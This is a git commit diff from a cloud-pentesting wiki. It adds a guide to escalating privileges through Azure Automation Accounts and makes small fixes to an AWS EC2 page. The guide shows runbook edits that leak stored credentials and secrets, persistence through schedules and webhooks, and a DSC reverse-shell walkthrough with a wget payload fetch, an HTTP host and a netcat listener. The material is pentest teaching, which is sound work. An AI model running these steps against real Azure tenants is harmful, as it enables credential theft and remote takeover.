Skip to content

Commit b193c5c

Browse files
committed
fix ec2 + automation accounts
1 parent d2dd7b9 commit b193c5c

File tree

7 files changed

+513
-258
lines changed

7 files changed

+513
-258
lines changed

src/SUMMARY.md

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -406,8 +406,7 @@
406406
- [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md)
407407
- [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md)
408408
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
409-
- [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md)
410-
- [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md)
409+
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
411410
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
412411
- [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md)
413412
- [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md)
@@ -454,6 +453,7 @@
454453
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
455454
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
456455
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
456+
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
457457
- [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md)
458458
- [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md)
459459
- [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md)

src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -90,7 +90,7 @@ aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name
9090

9191
If the **instance profile has a role** and the attacker **cannot remove it**, there is another workaround. He could **find** an **instance profile without a role** or **create a new one** (`iam:CreateInstanceProfile`), **add** the **role** to that **instance profile** (as previously discussed), and **associate the instance profile** compromised to a compromised i**nstance:**
9292

93-
- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`) \*
93+
- If the instance **doesn't have any instance** profile (`ec2:AssociateIamInstanceProfile`)
9494

9595
```bash
9696
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
@@ -102,21 +102,19 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --ins
102102

103103
With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
104104

105-
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it \*
105+
- If it **has an instance profile**, you can **remove** the instance profile (`ec2:DisassociateIamInstanceProfile`) and **associate** it
106106

107107
```bash
108108
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
109109
aws ec2 disassociate-iam-instance-profile --association-id <value>
110110
aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
111111
```
112112

113-
- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`). \*
113+
- or **replace** the **instance profile** of the compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).
114114

115-
````
116115
```bash
117116
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
118117
```
119-
````
120118

121119
**Potential Impact:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
122120

Lines changed: 272 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,272 @@
1+
# Az - Azure Automation Accounts Privesc
2+
3+
{{#include ../../../banners/hacktricks-training.md}}
4+
5+
## Azure Automation Accounts
6+
7+
Fore more information check:
8+
9+
{{#ref}}
10+
../az-services/az-automation-accounts.md
11+
{{#endref}}
12+
13+
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
14+
15+
As summary these permissions allow to **create, modify and run Runbooks** in the Automation Account which you could use to **execute code** in the context of the Automation Account and escalate privileges to the assigned **Managed Identities** and leak **credentials** and **encrypted variables** stored in the Automation Account.
16+
17+
The permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** allows to modify the code of a Runbook in the Automation Account using:
18+
19+
```bash
20+
# Update the runbook content with the provided PowerShell script
21+
az automation runbook replace-content --no-wait \
22+
--resource-group Resource_Group_1 \
23+
--automation-account-name autoaccount1 \
24+
--name AzureAutomationTutorialWithIdentity \
25+
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
26+
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
27+
$runbook_variable
28+
$creds.GetNetworkCredential().username
29+
$creds.GetNetworkCredential().password'
30+
```
31+
32+
Note how the previous script can be used to **leak the useranmd and password** of a credential and the value of an **encrypted variable** stored in the Automation Account.
33+
34+
The permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** allows the user to publish a Runbook in the Automation Account using so the changes are applied:
35+
36+
```bash
37+
az automation runbook publish \
38+
--resource-group <res-group> \
39+
--automation-account-name <account-name> \
40+
--name <runbook-name>
41+
```
42+
43+
The permission **`Microsoft.Automation/automationAccounts/jobs/write`** allows the user to run a Runbook in the Automation Account using:
44+
45+
```bash
46+
az automation runbook start --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name>
47+
```
48+
49+
The permission **`Microsoft.Automation/automationAccounts/jobs/output/read`** allows the user to read the output of a job in the Automation Account using:
50+
51+
```bash
52+
az rest --method GET \
53+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
54+
```
55+
56+
If there aren't Runbooks created, or ou want to create a new one, you will need the **permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`** to do it using:
57+
58+
```bash
59+
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
60+
```
61+
62+
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
63+
64+
This permission allows the user to **assign a user managed identity** to the Automation Account using:
65+
66+
```bash
67+
az rest --method PATCH \
68+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
69+
--headers "Content-Type=application/json" \
70+
--body '{
71+
"identity": {
72+
"type": "UserAssigned",
73+
"userAssignedIdentities": {
74+
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
75+
}
76+
}
77+
}'
78+
```
79+
80+
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
81+
82+
With the permission **`Microsoft.Automation/automationAccounts/schedules/write`** it's possible to create a new Schedule in the Automation Account that is executed every 15 minutes (not very stealth) using the following command.
83+
84+
Note that the **minimum interval for a schedule is 15 minutes**, and the **minimum start time is 5 minutes** in the future.
85+
86+
```bash
87+
## For linux
88+
az automation schedule create \
89+
--resource-group <RESOURCE_GROUP> \
90+
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
91+
--name <SCHEDULE_NAME> \
92+
--description "Triggers runbook every minute" \
93+
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
94+
--frequency Minute \
95+
--interval 15
96+
97+
## Form macOS
98+
az automation schedule create \
99+
--resource-group <RESOURCE_GROUP> \
100+
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
101+
--name <SCHEDULE_NAME> \
102+
--description "Triggers runbook every 15 minutes" \
103+
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
104+
--frequency Minute \
105+
--interval 15
106+
```
107+
108+
Then, with the permission **`Microsoft.Automation/automationAccounts/jobSchedules/write`** it's possible to assign a Scheduler to a runbook using:
109+
110+
```bash
111+
az rest --method PUT \
112+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
113+
--headers "Content-Type=application/json" \
114+
--body '{
115+
"properties": {
116+
"runOn": "",
117+
"runbook": {
118+
"name": "<runbook-name>"
119+
},
120+
"schedule": {
121+
"name": "<scheduler-name>>"
122+
},
123+
"parameters": {}
124+
}
125+
}'
126+
```
127+
128+
> [!TIP]
129+
> In the previous example the jobchedule id was left as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** but you will need to use an arbitrary value to create this assignemnt.
130+
131+
### `Microsoft.Automation/automationAccounts/webhooks/write`
132+
133+
With the permission **`Microsoft.Automation/automationAccounts/webhooks/write`** it's possible to create a new Webhook for a Runbook inside an Automation Account using the following command.
134+
135+
Note that you will need to **indicate webhook URI** with the token to use.
136+
137+
```bash
138+
az rest --method PUT \
139+
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
140+
--body '{
141+
"name": "<webhook-name>",
142+
"properties": {
143+
"isEnabled": true,
144+
"expiryTime": "2026-01-09T20:03:30.291Z",
145+
"parameters": {},
146+
"runOn": null,
147+
"runbook": {
148+
"name": "<runbook-name>"
149+
},
150+
"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d"
151+
}
152+
}'
153+
154+
# Then, to call the runbook using the webhook
155+
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
156+
-H "Content-Length: 0"
157+
```
158+
159+
160+
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
161+
162+
Just with the permission `Microsoft.Automation/automationAccounts/runbooks/draft/write` it's possible to **update the code of a Runbook** without publishing it and run it using the following commands.
163+
164+
```bash
165+
# Update the runbook content with the provided PowerShell script
166+
az automation runbook replace-content --no-wait \
167+
--resource-group Resource_Group_1 \
168+
--automation-account-name autoaccount1 \
169+
--name AzureAutomationTutorialWithIdentity \
170+
--content 'echo "Hello World"'
171+
172+
# Run the unpublished code
173+
az rest \
174+
--method PUT \
175+
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
176+
--headers "Content-Type=application/json" \
177+
--body '{
178+
"parameters": {},
179+
"runOn": "",
180+
"runtimeEnvironment": "PowerShell-5.1"
181+
}'
182+
183+
# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
184+
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"
185+
```
186+
187+
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
188+
189+
This permission allows the user to **configure a source control** for the Automation Account using a commands such as the following (this uses Github as example):
190+
191+
```bash
192+
az automation source-control create \
193+
--resource-group <res-group> \
194+
--automation-account-name <automation-account-name> \
195+
--name RemoteGithub \
196+
--repo-url https://github.com/carlospolop/gh-runbooks.git \
197+
--branch main \
198+
--folder-path /runbooks/ \
199+
--publish-runbook true \
200+
--auto-sync \
201+
--source-type GitHub \
202+
--token-type PersonalAccessToken \
203+
--access-token github_pat_11AEDCVZ<rest-of-the-token>
204+
```
205+
206+
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
207+
208+
Moreiver, remember that four source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity this can be configured also by setting in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** the **client id** of the user managed identity to use.
209+
210+
> [!TIP]
211+
> Note that it's not possible to change the repo URL of a source control once it's created.
212+
213+
### Custom Runtime Environments
214+
215+
If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
216+
217+
### Compromising State Configuration
218+
219+
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
220+
221+
- Step 1 — Create Files
222+
223+
**Files Required:** Two PowerShell scripts are needed:
224+
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
225+
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
226+
227+
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
228+
229+
- Step 2 — Zip Configuration File
230+
231+
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
232+
233+
```powershell
234+
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
235+
```
236+
237+
- Step 3 — Set Storage Context & Upload
238+
239+
The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
240+
241+
```powershell
242+
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
243+
```
244+
245+
- Step 4 — Prep Kali Box
246+
247+
The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
248+
249+
```bash
250+
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
251+
```
252+
253+
The script is edited to specify the target Windows VM and port for the reverse shell.
254+
255+
- Step 5 — Publish Configuration File
256+
257+
The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
258+
259+
- Step 6 — Host Payload and Setup Listener
260+
261+
A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
262+
263+
```bash
264+
sudo python -m SimpleHTTPServer 80
265+
sudo nc -nlvp 443
266+
```
267+
268+
The scheduled task executes the payload, achieving SYSTEM-level privileges.
269+
270+
{{#include ../../../banners/hacktricks-training.md}}
271+
272+

0 commit comments

Comments
 (0)